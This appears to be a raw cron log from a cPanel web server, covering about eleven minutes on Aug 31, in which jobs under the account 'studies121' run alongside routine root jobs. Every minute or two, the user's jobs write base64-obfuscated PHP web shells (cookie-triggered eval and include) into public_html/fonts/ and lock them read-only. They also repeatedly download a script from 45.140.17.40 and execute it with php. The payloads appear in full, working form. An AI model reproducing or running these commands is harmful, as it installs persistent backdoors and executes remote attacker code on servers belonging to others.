Aug 31 13:29:01 ip-184-168-122-23 CROND[6953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:29:01 ip-184-168-122-23 CROND[6955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:29:01 ip-184-168-122-23 CROND[6957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:29:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:30:01 ip-184-168-122-23 CROND[7072]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:30:01 ip-184-168-122-23 CROND[7075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:30:01 ip-184-168-122-23 CROND[7076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:30:01 ip-184-168-122-23 CROND[7077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:30:01 ip-184-168-122-23 CROND[7079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:30:01 ip-184-168-122-23 CROND[7084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:30:01 ip-184-168-122-23 CROND[7082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:30:01 ip-184-168-122-23 CROND[7086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:31:02 ip-184-168-122-23 CROND[7191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:31:02 ip-184-168-122-23 CROND[7192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:31:02 ip-184-168-122-23 CROND[7195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:31:02 ip-184-168-122-23 CROND[7194]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:31:02 ip-184-168-122-23 CROND[7197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:32:01 ip-184-168-122-23 CROND[7288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:32:01 ip-184-168-122-23 CROND[7290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:32:01 ip-184-168-122-23 CROND[7291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:32:01 ip-184-168-122-23 CROND[7294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:32:01 ip-184-168-122-23 CROND[7292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:33:01 ip-184-168-122-23 CROND[7397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:33:01 ip-184-168-122-23 CROND[7399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:33:01 ip-184-168-122-23 CROND[7400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:33:01 ip-184-168-122-23 CROND[7402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:34:01 ip-184-168-122-23 CROND[7556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:34:01 ip-184-168-122-23 CROND[7558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:34:01 ip-184-168-122-23 CROND[7559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:34:01 ip-184-168-122-23 CROND[7560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:34:01 ip-184-168-122-23 CROND[7561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:35:01 ip-184-168-122-23 CROND[7689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:35:01 ip-184-168-122-23 CROND[7693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:35:01 ip-184-168-122-23 CROND[7695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:35:01 ip-184-168-122-23 CROND[7697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:35:01 ip-184-168-122-23 CROND[7699]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:35:01 ip-184-168-122-23 CROND[7696]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:35:01 ip-184-168-122-23 CROND[7694]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 13:35:01 ip-184-168-122-23 CROND[7692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:36:01 ip-184-168-122-23 CROND[7842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:36:01 ip-184-168-122-23 CROND[7841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:36:01 ip-184-168-122-23 CROND[7843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:36:01 ip-184-168-122-23 CROND[7844]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:36:01 ip-184-168-122-23 CROND[7845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:37:01 ip-184-168-122-23 CROND[7927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:37:01 ip-184-168-122-23 CROND[7930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:37:01 ip-184-168-122-23 CROND[7929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:37:01 ip-184-168-122-23 CROND[7931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:38:01 ip-184-168-122-23 CROND[8014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:38:01 ip-184-168-122-23 CROND[8015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:38:01 ip-184-168-122-23 CROND[8016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:38:01 ip-184-168-122-23 CROND[8017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:38:01 ip-184-168-122-23 CROND[8018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:39:01 ip-184-168-122-23 CROND[8122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:39:01 ip-184-168-122-23 CROND[8126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:39:01 ip-184-168-122-23 CROND[8125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:39:01 ip-184-168-122-23 CROND[8127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:39:01 ip-184-168-122-23 CROND[8124]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 13:40:01 ip-184-168-122-23 CROND[8247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:40:01 ip-184-168-122-23 CROND[8246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:40:01 ip-184-168-122-23 CROND[8248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:40:01 ip-184-168-122-23 CROND[8254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:40:01 ip-184-168-122-23 CROND[8253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:40:01 ip-184-168-122-23 CROND[8255]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:40:01 ip-184-168-122-23 CROND[8256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:40:01 ip-184-168-122-23 CROND[8257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
